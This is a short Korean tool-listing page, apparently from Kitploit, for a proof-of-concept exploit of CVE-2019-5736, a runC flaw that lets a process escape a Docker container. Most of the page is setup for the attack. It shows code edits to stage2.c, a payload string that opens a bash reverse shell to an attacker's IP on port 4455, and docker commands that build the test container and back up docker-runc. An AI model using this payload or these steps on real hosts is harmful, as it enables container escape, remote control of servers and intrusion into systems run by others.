cve-2019-5736-poc — CVE-2019-5736에 대한 개념 증명 익스플로잇으로, runC 취약점을 통한 Docker 컨테이너 탈출 및 리버스 셸 페이로드 주입을 시연합니다. | Kitploit

공유

추가해야 할 헤더 (stage2.c)

bash #include <string.h>

bash #include <unistd.h>

공격자 PC의 IP로 수정 (stage2.c)

bash const char *poc = "#!/bin/bash\n/bin/bash -i >& /dev/tcp/<공격 PC IP>/4455 0>&1 &\n";

Docker Image 및 컨테이너 생성

$ docker build -t cve .
$ docker run -t -d --name cvetest cve
$ sudo cp /usr/bin/docker-runc /usr/bin/docker-runc.bak

도구 다운로드